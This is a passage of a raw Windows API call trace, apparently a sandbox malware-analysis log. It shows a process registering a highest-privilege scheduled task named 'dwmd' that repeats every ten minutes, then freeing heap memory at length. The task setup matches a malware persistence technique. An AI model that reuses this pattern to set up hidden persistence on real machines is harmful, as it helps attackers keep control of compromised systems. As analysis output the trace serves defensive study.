RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e210a770) returned 0xc [0107.509] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e210a770) returned 1 [0107.509] GetProcessHeap () returned 0x277e2100000 [0107.509] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x16) returned 0x277e210a610 [0107.509] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0xd372b9c6a0, cchData=128 | out: lpLCData="0") returned 2 [0107.509] _memicmp (_Buf1=0x277e2104740, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.509] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x277e210bab0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0107.509] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0107.509] GetProcessHeap () returned 0x277e2100000 [0107.509] GetProcessHeap () returned 0x277e2100000 [0107.509] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e210a750) returned 1 [0107.509] GetProcessHeap () returned 0x277e2100000 [0107.509] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e210a750) returned 0xe [0107.509] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e210a750) returned 1 [0107.509] GetProcessHeap () returned 0x277e2100000 [0107.509] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x16) returned 0x277e210a790 [0107.509] GetLocalTime (in: lpSystemTime=0xd372b9c8d8 | out: lpSystemTime=0xd372b9c8d8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x1e, wMilliseconds=0x36d)) [0107.509] lstrlenW (lpString="") returned 0 [0107.510] GetLocalTime (in: lpSystemTime=0xd372b9d2c8 | out: lpSystemTime=0xd372b9d2c8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x1e, wMilliseconds=0x36d)) [0107.510] lstrlenW (lpString="") returned 0 [0107.510] lstrlenW (lpString="") returned 0 [0107.510] lstrlenW (lpString="") returned 0 [0107.510] lstrlenW (lpString="") returned 0 [0107.510] lstrlenW (lpString="10") returned 2 [0107.510] _wtol (_String="10") returned 10 [0107.510] lstrlenW (lpString="") returned 0 [0107.510] lstrlenW (lpString="") returned 0 [0107.510] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0107.520] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0107.668] CoCreateInstance (in: rclsid=0x7ff685139e68*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0x7ff685139e78*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0xd372b9d020 | out: ppv=0xd372b9d020*=0x277e2305730) returned 0x0 [0107.687] TaskScheduler:ITaskService:Connect (This=0x277e2305730, serverName=0xd372b9d110*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0xd372b9d0e0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), domain=0xd372b9d0c0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xd372b9d0a0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0)) returned 0x0 [0107.696] TaskScheduler:ITaskService:GetFolder (in: This=0x277e2305730, Path=0x0, ppFolder=0xd372b9d200 | out: ppFolder=0xd372b9d200*=0x277e23058e0) returned 0x0 [0107.699] TaskScheduler:ITaskService:NewTask (in: This=0x277e2305730, flags=0x0, ppDefinition=0xd372b9d1d8 | out: ppDefinition=0xd372b9d1d8*=0x277e2305960) returned 0x0 [0107.699] ITaskDefinition:get_Actions (in: This=0x277e2305960, ppActions=0xd372b9d120 | out: ppActions=0xd372b9d120*=0x277e23059f0) returned 0x0 [0107.699] IActionCollection:Create (in: This=0x277e23059f0, Type=0, ppAction=0xd372b9d160 | out: ppAction=0xd372b9d160*=0x277e2305e00) returned 0x0 [0107.700] IUnknown:Release (This=0x277e2305e00) returned 0x1 [0107.700] IUnknown:Release (This=0x277e23059f0) returned 0x1 [0107.700] ITaskDefinition:get_Triggers (in: This=0x277e2305960, ppTriggers=0xd372b9ccd0 | out: ppTriggers=0xd372b9ccd0*=0x277e2305cb0) returned 0x0 [0107.700] ITriggerCollection:Create (in: This=0x277e2305cb0, Type=1, ppTrigger=0xd372b9ccb8 | out: ppTrigger=0xd372b9ccb8*=0x277e2305e70) returned 0x0 [0107.700] lstrlenW (lpString="10") returned 2 [0107.700] _vsnwprintf (in: _Buffer=0xd372b9cc40, _BufferCount=0xf, _Format="PT%sM", _ArgList=0xd372b9cc38 | out: _Buffer="PT10M") returned 5 [0107.703] ITrigger:get_Repetition (in: This=0x277e2305e70, ppRepeat=0xd372b9ccb0 | out: ppRepeat=0xd372b9ccb0*=0x277e2305f00) returned 0x0 [0107.703] IRepetitionPattern:put_Interval (This=0x277e2305f00, Interval="PT10M") returned 0x0 [0107.703] IUnknown:Release (This=0x277e2305f00) returned 0x1 [0107.703] _vsnwprintf (in: _Buffer=0xd372b9cc00, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0xd372b9cbd8 | out: _Buffer="2023-09-19T17:15:00") returned 19 [0107.703] ITrigger:put_StartBoundary (This=0x277e2305e70, StartBoundary="2023-09-19T17:15:00") returned 0x0 [0107.703] lstrlenW (lpString="") returned 0 [0107.703] lstrlenW (lpString="") returned 0 [0107.703] lstrlenW (lpString="") returned 0 [0107.703] lstrlenW (lpString="") returned 0 [0107.703] IUnknown:Release (This=0x277e2305e70) returned 0x1 [0107.703] IUnknown:Release (This=0x277e2305cb0) returned 0x1 [0107.703] ITaskDefinition:get_Settings (in: This=0x277e2305960, ppSettings=0xd372b9d160 | out: ppSettings=0xd372b9d160*=0x277e2305b30) returned 0x0 [0107.703] lstrlenW (lpString="") returned 0 [0107.703] IUnknown:Release (This=0x277e2305b30) returned 0x3 [0107.703] GetLocalTime (in: lpSystemTime=0xd372b9d018 | out: lpSystemTime=0xd372b9d018*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xf, wSecond=0x1f, wMilliseconds=0x51)) [0107.703] ResolveDelayLoadedAPI () returned 0x7ffa78123fa0 [0107.704] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0xd372b9d030, nSize=0xd372b9d008 | out: lpNameBuffer="XC64ZB\\RDhJ0CNFevzX", nSize=0xd372b9d008) returned 0x1 [0107.704] ITaskDefinition:get_RegistrationInfo (in: This=0x277e2305960, ppRegistrationInfo=0xd372b9d000 | out: ppRegistrationInfo=0xd372b9d000*=0x277e2305a70) returned 0x0 [0107.704] IRegistrationInfo:put_Author (This=0x277e2305a70, Author="XC64ZB\\RDhJ0CNFevzX") returned 0x0 [0107.704] _vsnwprintf (in: _Buffer=0xd372b9d030, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0xd372b9cfc8 | out: _Buffer="2023-09-19T17:15:31") returned 19 [0107.704] IRegistrationInfo:put_Date (This=0x277e2305a70, Date="2023-09-19T17:15:31") returned 0x0 [0107.705] IUnknown:Release (This=0x277e2305a70) returned 0x1 [0107.705] malloc (_Size=0x18) returned 0x277e2305f80 [0107.705] free (_Block=0x277e2305f80) [0107.705] lstrlenW (lpString="") returned 0 [0107.705] ITaskDefinition:get_Principal (in: This=0x277e2305960, ppPrincipal=0xd372b9d1c8 | out: ppPrincipal=0xd372b9d1c8*=0x277e2305d20) returned 0x0 [0107.705] IPrincipal:put_RunLevel (This=0x277e2305d20, RunLevel=1) returned 0x0 [0107.705] IUnknown:Release (This=0x277e2305d20) returned 0x1 [0107.705] malloc (_Size=0x18) returned 0x277e2305f80 [0107.705] ITaskFolder:RegisterTaskDefinition (in: This=0x277e23058e0, Path="dwmd", pDefinition=0x277e2305960, flags=6, UserId=0xd372b9d270*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0xd372b9d250*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), LogonType=3, sddl=0xd372b9d290*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0xd372b9d230 | out: ppTask=0xd372b9d230*=0x277e2306fd0) returned 0x0 [0107.832] free (_Block=0x277e2305f80) [0107.832] _memicmp (_Buf1=0x277e2104740, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0107.832] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x277e210bab0, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0107.832] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0107.832] GetProcessHeap () returned 0x277e2100000 [0107.832] GetProcessHeap () returned 0x277e2100000 [0107.832] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e210a5f0) returned 1 [0107.832] GetProcessHeap () returned 0x277e2100000 [0107.832] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e210a5f0) returned 0xc [0107.832] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e210a5f0) returned 1 [0107.832] GetProcessHeap () returned 0x277e2100000 [0107.833] RtlAllocateHeap (HeapHandle=0x277e2100000, Flags=0xc, Size=0x82) returned 0x277e2124da0 [0107.833] _vsnwprintf (in: _Buffer=0xd372b9d8e0, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0xd372b9d178 | out: _Buffer="SUCCESS: The scheduled task \"dwmd\" has successfully been created.\n") returned 66 [0107.833] __iob_func () returned 0x7ffa7941e210 [0107.833] _fileno (_File=0x7ffa7941e240) returned -2 [0107.833] _errno () returned 0x277e2300840 [0107.833] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0107.833] RtlRestoreLastWin32Error () returned 0xd372d68000 [0107.833] lstrlenW (lpString="SUCCESS: The scheduled task \"dwmd\" has successfully been created.\n") returned 66 [0107.833] GetConsoleOutputCP () returned 0x0 [0107.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"dwmd\" has successfully been created.\n", cchWideChar=66, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 66 [0107.833] GetConsoleOutputCP () returned 0x0 [0107.833] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"dwmd\" has successfully been created.\n", cchWideChar=66, lpMultiByteStr=0x7ff685148630, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"dwmd\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 66 [0107.833] fprintf (in: _File=0x7ffa7941e240, _Format="%s" | out: _File=0x7ffa7941e240) returned 66 [0107.833] fflush (in: _File=0x7ffa7941e240 | out: _File=0x7ffa7941e240) returned -1 [0107.833] IUnknown:Release (This=0x277e2306fd0) returned 0x0 [0107.833] TaskScheduler:IUnknown:Release (This=0x277e2305960) returned 0x0 [0107.833] TaskScheduler:IUnknown:Release (This=0x277e23058e0) returned 0x0 [0107.834] TaskScheduler:IUnknown:Release (This=0x277e2305730) returned 0x0 [0107.834] lstrlenW (lpString="") returned 0 [0107.834] lstrlenW (lpString="10") returned 2 [0107.834] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="10", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0107.834] GetProcessHeap () returned 0x277e2100000 [0107.834] GetProcessHeap () returned 0x277e2100000 [0107.834] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e210a850) returned 1 [0107.834] GetProcessHeap () returned 0x277e2100000 [0107.834] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e210a850) returned 0x1fc [0107.834] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e210a850) returned 1 [0107.834] GetProcessHeap () returned 0x277e2100000 [0107.834] GetProcessHeap () returned 0x277e2100000 [0107.834] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e2104a60) returned 1 [0107.835] GetProcessHeap () returned 0x277e2100000 [0107.835] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e2104a60) returned 0x6 [0107.835] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e2104a60) returned 1 [0107.835] GetProcessHeap () returned 0x277e2100000 [0107.835] GetProcessHeap () returned 0x277e2100000 [0107.835] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e210a5d0) returned 1 [0107.835] GetProcessHeap () returned 0x277e2100000 [0107.835] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e210a5d0) returned 0x16 [0107.835] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e210a5d0) returned 1 [0107.835] GetProcessHeap () returned 0x277e2100000 [0107.835] GetProcessHeap () returned 0x277e2100000 [0107.835] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e210a7f0) returned 1 [0107.835] GetProcessHeap () returned 0x277e2100000 [0107.835] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e210a7f0) returned 0x18 [0107.835] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e210a7f0) returned 1 [0107.835] GetProcessHeap () returned 0x277e2100000 [0107.835] GetProcessHeap () returned 0x277e2100000 [0107.835] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e210b9b0) returned 1 [0107.835] GetProcessHeap () returned 0x277e2100000 [0107.835] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e210b9b0) returned 0x20 [0107.836] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e210b9b0) returned 1 [0107.836] GetProcessHeap () returned 0x277e2100000 [0107.836] GetProcessHeap () returned 0x277e2100000 [0107.836] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e2104290) returned 1 [0107.836] GetProcessHeap () returned 0x277e2100000 [0107.836] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e2104290) returned 0xa0 [0107.836] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e2104290) returned 1 [0107.836] GetProcessHeap () returned 0x277e2100000 [0107.836] GetProcessHeap () returned 0x277e2100000 [0107.836] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e2102130) returned 1 [0107.836] GetProcessHeap () returned 0x277e2100000 [0107.836] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e2102130) returned 0x18 [0107.836] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e2102130) returned 1 [0107.836] GetProcessHeap () returned 0x277e2100000 [0107.836] GetProcessHeap () returned 0x277e2100000 [0107.836] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e210ba70) returned 1 [0107.836] GetProcessHeap () returned 0x277e2100000 [0107.836] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e210ba70) returned 0x20 [0107.837] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e210ba70) returned 1 [0107.837] GetProcessHeap () returned 0x277e2100000 [0107.837] GetProcessHeap () returned 0x277e2100000 [0107.837] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e2103b70) returned 1 [0107.837] GetProcessHeap () returned 0x277e2100000 [0107.837] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e2103b70) returned 0x76 [0107.837] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e2103b70) returned 1 [0107.837] GetProcessHeap () returned 0x277e2100000 [0107.837] GetProcessHeap () returned 0x277e2100000 [0107.837] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e210a7b0) returned 1 [0107.837] GetProcessHeap () returned 0x277e2100000 [0107.837] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e210a7b0) returned 0x18 [0107.837] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e210a7b0) returned 1 [0107.837] GetProcessHeap () returned 0x277e2100000 [0107.837] GetProcessHeap () returned 0x277e2100000 [0107.837] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e210b530) returned 1 [0107.837] GetProcessHeap () returned 0x277e2100000 [0107.837] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e210b530) returned 0x20 [0107.838] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e210b530) returned 1 [0107.838] GetProcessHeap () returned 0x277e2100000 [0107.838] GetProcessHeap () returned 0x277e2100000 [0107.838] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e2103bf0) returned 1 [0107.838] GetProcessHeap () returned 0x277e2100000 [0107.838] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e2103bf0) returned 0x78 [0107.838] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e2103bf0) returned 1 [0107.838] GetProcessHeap () returned 0x277e2100000 [0107.838] GetProcessHeap () returned 0x277e2100000 [0107.838] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e210a550) returned 1 [0107.838] GetProcessHeap () returned 0x277e2100000 [0107.838] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e210a550) returned 0x18 [0107.838] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e210a550) returned 1 [0107.838] GetProcessHeap () returned 0x277e2100000 [0107.838] GetProcessHeap () returned 0x277e2100000 [0107.838] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e2108bf0) returned 1 [0107.838] GetProcessHeap () returned 0x277e2100000 [0107.838] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e2108bf0) returned 0x20 [0107.839] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e2108bf0) returned 1 [0107.839] GetProcessHeap () returned 0x277e2100000 [0107.839] GetProcessHeap () returned 0x277e2100000 [0107.839] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e210a710) returned 1 [0107.839] GetProcessHeap () returned 0x277e2100000 [0107.839] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e210a710) returned 0xe [0107.839] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e210a710) returned 1 [0107.839] GetProcessHeap () returned 0x277e2100000 [0107.839] GetProcessHeap () returned 0x277e2100000 [0107.839] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e210a670) returned 1 [0107.839] GetProcessHeap () returned 0x277e2100000 [0107.839] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e210a670) returned 0x18 [0107.839] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e210a670) returned 1 [0107.839] GetProcessHeap () returned 0x277e2100000 [0107.839] GetProcessHeap () returned 0x277e2100000 [0107.839] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e2108b00) returned 1 [0107.839] GetProcessHeap () returned 0x277e2100000 [0107.839] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e2108b00) returned 0x20 [0107.839] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e2108b00) returned 1 [0107.839] GetProcessHeap () returned 0x277e2100000 [0107.839] GetProcessHeap () returned 0x277e2100000 [0107.839] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e21096e0) returned 1 [0107.839] GetProcessHeap () returned 0x277e2100000 [0107.839] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e21096e0) returned 0x208 [0107.840] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e21096e0) returned 1 [0107.840] GetProcessHeap () returned 0x277e2100000 [0107.840] GetProcessHeap () returned 0x277e2100000 [0107.840] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e2104850) returned 1 [0107.840] GetProcessHeap () returned 0x277e2100000 [0107.840] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e2104850) returned 0x18 [0107.840] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e2104850) returned 1 [0107.840] GetProcessHeap () returned 0x277e2100000 [0107.840] GetProcessHeap () returned 0x277e2100000 [0107.842] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e2108bc0) returned 1 [0107.843] GetProcessHeap () returned 0x277e2100000 [0107.843] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e2108bc0) returned 0x20 [0107.843] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e2108bc0) returned 1 [0107.843] GetProcessHeap () returned 0x277e2100000 [0107.843] GetProcessHeap () returned 0x277e2100000 [0107.843] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e210bab0) returned 1 [0107.843] GetProcessHeap () returned 0x277e2100000 [0107.843] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e210bab0) returned 0x200 [0107.844] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e210bab0) returned 1 [0107.844] GetProcessHeap () returned 0x277e2100000 [0107.844] GetProcessHeap () returned 0x277e2100000 [0107.844] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e2104740) returned 1 [0107.844] GetProcessHeap () returned 0x277e2100000 [0107.844] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e2104740) returned 0x18 [0107.844] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e2104740) returned 1 [0107.844] GetProcessHeap () returned 0x277e2100000 [0107.844] GetProcessHeap () returned 0x277e2100000 [0107.844] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e2108a40) returned 1 [0107.844] GetProcessHeap () returned 0x277e2100000 [0107.844] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e2108a40) returned 0x20 [0107.844] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e2108a40) returned 1 [0107.844] GetProcessHeap () returned 0x277e2100000 [0107.844] GetProcessHeap () returned 0x277e2100000 [0107.844] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e2103950) returned 1 [0107.844] GetProcessHeap () returned 0x277e2100000 [0107.844] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e2103950) returned 0x14 [0107.844] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e2103950) returned 1 [0107.844] GetProcessHeap () returned 0x277e2100000 [0107.844] GetProcessHeap () returned 0x277e2100000 [0107.844] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e2103930) returned 1 [0107.844] GetProcessHeap () returned 0x277e2100000 [0107.844] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e2103930) returned 0x18 [0107.845] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e2103930) returned 1 [0107.845] GetProcessHeap () returned 0x277e2100000 [0107.845] GetProcessHeap () returned 0x277e2100000 [0107.845] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e2108ce0) returned 1 [0107.845] GetProcessHeap () returned 0x277e2100000 [0107.845] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e2108ce0) returned 0x20 [0107.845] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e2108ce0) returned 1 [0107.845] GetProcessHeap () returned 0x277e2100000 [0107.845] GetProcessHeap () returned 0x277e2100000 [0107.845] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e2103970) returned 1 [0107.845] GetProcessHeap () returned 0x277e2100000 [0107.845] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e2103970) returned 0x16 [0107.845] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e2103970) returned 1 [0107.845] GetProcessHeap () returned 0x277e2100000 [0107.845] GetProcessHeap () returned 0x277e2100000 [0107.845] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e2104380) returned 1 [0107.845] GetProcessHeap () returned 0x277e2100000 [0107.845] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e2104380) returned 0x18 [0107.845] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e2104380) returned 1 [0107.845] GetProcessHeap () returned 0x277e2100000 [0107.845] GetProcessHeap () returned 0x277e2100000 [0107.845] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e2108b30) returned 1 [0107.845] GetProcessHeap () returned 0x277e2100000 [0107.845] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e2108b30) returned 0x20 [0107.846] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e2108b30) returned 1 [0107.846] GetProcessHeap () returned 0x277e2100000 [0107.846] GetProcessHeap () returned 0x277e2100000 [0107.846] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e2104aa0) returned 1 [0107.846] GetProcessHeap () returned 0x277e2100000 [0107.846] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e2104aa0) returned 0x2 [0107.846] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e2104aa0) returned 1 [0107.846] GetProcessHeap () returned 0x277e2100000 [0107.846] GetProcessHeap () returned 0x277e2100000 [0107.846] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e2104410) returned 1 [0107.846] GetProcessHeap () returned 0x277e2100000 [0107.846] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e2104410) returned 0x20 [0107.846] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e2104410) returned 1 [0107.846] GetProcessHeap () returned 0x277e2100000 [0107.846] GetProcessHeap () returned 0x277e2100000 [0107.846] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e2104460) returned 1 [0107.846] GetProcessHeap () returned 0x277e2100000 [0107.846] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e2104460) returned 0x20 [0107.847] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e2104460) returned 1 [0107.847] GetProcessHeap () returned 0x277e2100000 [0107.847] GetProcessHeap () returned 0x277e2100000 [0107.847] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e2104490) returned 1 [0107.847] GetProcessHeap () returned 0x277e2100000 [0107.847] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e2104490) returned 0x20 [0107.847] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e2104490) returned 1 [0107.847] GetProcessHeap () returned 0x277e2100000 [0107.847] GetProcessHeap () returned 0x277e2100000 [0107.847] HeapValidate 